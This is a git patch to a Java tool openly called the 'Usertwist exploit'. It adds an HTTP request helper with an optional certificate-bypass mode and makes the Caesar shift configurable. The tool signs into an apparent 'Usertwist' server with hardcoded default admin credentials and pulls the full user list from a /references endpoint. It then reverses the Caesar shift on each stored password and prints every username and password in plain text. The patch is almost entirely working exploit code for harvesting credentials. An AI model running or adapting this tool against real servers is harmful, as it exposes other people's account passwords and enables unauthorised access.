From 7207b3dca1e483654a31ab9e992e5cfed8b274e4 Mon Sep 17 00:00:00 2001 From: Mateo Date: Thu, 1 Aug 2024 16:35:41 +0200 Subject: [PATCH] Simplified Cesar rotation + Made a function for HTTP requests --- src/fr/motysten/usertwist/exploit/Main.java | 52 ++++++++++--------- .../usertwist/exploit/tools/Cesar.java | 11 ++-- .../usertwist/exploit/tools/Request.java | 42 +++++++++++++++ 3 files changed, 74 insertions(+), 31 deletions(-) create mode 100644 src/fr/motysten/usertwist/exploit/tools/Request.java diff --git a/src/fr/motysten/usertwist/exploit/Main.java b/src/fr/motysten/usertwist/exploit/Main.java index 7efd3b3..49de722 100644 --- a/src/fr/motysten/usertwist/exploit/Main.java +++ b/src/fr/motysten/usertwist/exploit/Main.java @@ -1,24 +1,20 @@ package fr.motysten.usertwist.exploit; import fr.motysten.usertwist.exploit.tools.Cesar; -import fr.motysten.usertwist.exploit.tools.SSLBypass; +import fr.motysten.usertwist.exploit.tools.Request; import org.json.JSONArray; import org.json.JSONObject; -import javax.net.ssl.SSLContext; import javax.net.ssl.SSLException; import javax.net.ssl.SSLHandshakeException; -import javax.net.ssl.TrustManager; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; -import java.net.URI; -import java.net.http.HttpClient; -import java.net.http.HttpRequest; import java.net.http.HttpResponse; import java.security.KeyManagementException; import java.security.NoSuchAlgorithmException; -import java.security.SecureRandom; +import java.util.HashMap; +import java.util.Map; public class Main { @@ -26,13 +22,12 @@ public class Main { public static String username = "admin"; public static String password = "AdminSecret1C"; public static String port = "443"; + public static int rotation = 4; + public static boolean insecure = false; public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException { BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); - SSLContext customContext = SSLContext.getInstance("TLS"); - customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom()); - System.out.println("Usertwist exploit by Motysten"); System.out.println("Please don't use for unethical purpose !\n"); String readLine; @@ -53,7 +48,9 @@ public class Main { readLine = reader.readLine(); if (!readLine.isEmpty()) {password = readLine;} - HttpClient client = HttpClient.newHttpClient(); + System.out.println("Please enter the cesar offset (leave empty to use default) :"); + readLine = reader.readLine(); + if (!readLine.isEmpty()) {rotation = Integer.parseInt(readLine);} JSONObject requestJSON = new JSONObject(); requestJSON.put("username", username); @@ -62,17 +59,22 @@ public class Main { System.out.println("Gathering Bearer token..."); HttpResponse response = null; - HttpRequest request; boolean tokenFound = false; while (!tokenFound) { try { - request = HttpRequest.newBuilder(URI.create(link + ":" + port + "/login")) - .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString())) - .build(); - - response = client.send(request, HttpResponse.BodyHandlers.ofString()); - tokenFound = true; + response = Request.get(link, port, "/login", requestJSON, null, insecure); + if (response.statusCode() == 308) { + System.err.println("The server is trying to force HTTPS use. Would you like to retry with HTTPS ? [Y/n]"); + if (reader.readLine().equalsIgnoreCase("n")) { + System.err.println("Operation aborted ! Security failure."); + } else { + link = link.replaceFirst("http", "https"); + port = "443"; + } + } else { + tokenFound = true; + } } catch (SSLHandshakeException e) { System.err.println("Remote server certificate issuer couldn't be verified. Someone could be spying on your network."); System.err.println("Would you like to continue anyway ? [y/N]"); @@ -80,7 +82,7 @@ public class Main { System.err.println("Operation aborted ! Security failure."); System.exit(1); } else { - client = HttpClient.newBuilder().sslContext(customContext).build(); + insecure = true; } } catch (SSLException e) { if (e.getMessage().contains("plaintext connection?")) { @@ -100,6 +102,8 @@ public class Main { System.exit(1); } + System.out.println(response.statusCode()); + JSONObject responseObject = new JSONObject(response.body()); String token = responseObject.optString("token"); @@ -111,12 +115,10 @@ public class Main { System.out.println("\nScanning for existing users..."); - request = HttpRequest.newBuilder(URI.create(link + ":" + port + "/references")) - .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString())) - .setHeader("Authorization", "Bearer " + token) - .build(); + Map headers = new HashMap<>(); + headers.put("Authorization", "Bearer " + token); - response = client.send(request, HttpResponse.BodyHandlers.ofString()); + response = Request.get(link, port, "/references", requestJSON, headers, insecure); JSONArray usersArray = new JSONArray(response.body()); System.out.println(usersArray.length() + " users found !"); @@ -125,7 +127,7 @@ public class Main { for (int i = 0; i < usersArray.length(); i++) { JSONObject user = usersArray.getJSONObject(i); String login = user.getString("username"); - String password = Cesar.cesarRotate(user.getString("data"), -4); + String password = Cesar.cesarRotate(user.getString("data"), rotation); System.out.println((i + 1) + ". " + login + " => " + password); } diff --git a/src/fr/motysten/usertwist/exploit/tools/Cesar.java b/src/fr/motysten/usertwist/exploit/tools/Cesar.java index 8b35445..4f926ef 100644 --- a/src/fr/motysten/usertwist/exploit/tools/Cesar.java +++ b/src/fr/motysten/usertwist/exploit/tools/Cesar.java @@ -2,18 +2,17 @@ package fr.motysten.usertwist.exploit.tools; public class Cesar { + public static final String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"; + public static final String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase(); + public static String cesarRotate(String input, int offset) { - String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"; - if (offset < 0) { - LOWER_ALPHABET = new StringBuilder(LOWER_ALPHABET).reverse().toString(); - offset = -offset; + while (offset < 0) { + offset += 26; } - String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase(); StringBuilder output = new StringBuilder(); - for (int i = 0; i < input.length(); i++) { char newChar = input.charAt(i); if (!Character.isDigit(input.charAt(i))) { diff --git a/src/fr/motysten/usertwist/exploit/tools/Request.java b/src/fr/motysten/usertwist/exploit/tools/Request.java new file mode 100644 index 0000000..f720cda --- /dev/null +++ b/src/fr/motysten/usertwist/exploit/tools/Request.java @@ -0,0 +1,42 @@ +package fr.motysten.usertwist.exploit.tools; + +import org.json.JSONObject; + +import javax.net.ssl.SSLContext; +import javax.net.ssl.TrustManager; +import java.io.IOException; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; +import java.util.Map; + +public class Request { + + public static HttpResponse get(String link, String port, String endpoint,JSONObject params, Map headers, boolean insecure) throws NoSuchAlgorithmException, KeyManagementException, IOException, InterruptedException { + HttpClient client = HttpClient.newHttpClient(); + + if (insecure) { + SSLContext customContext = SSLContext.getInstance("TLS"); + customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom()); + + client = HttpClient.newBuilder().sslContext(customContext).build(); + } + + HttpRequest.Builder builder = HttpRequest.newBuilder(URI.create(link + ":" + port + endpoint)); + if (headers != null) { + for (Map.Entry header : headers.entrySet()) { + builder.setHeader(header.getKey(), header.getValue()); + } + } + + builder.POST(HttpRequest.BodyPublishers.ofString(params.toString())); + HttpRequest request = builder.build(); + + return client.send(request, HttpResponse.BodyHandlers.ofString()); + } + +}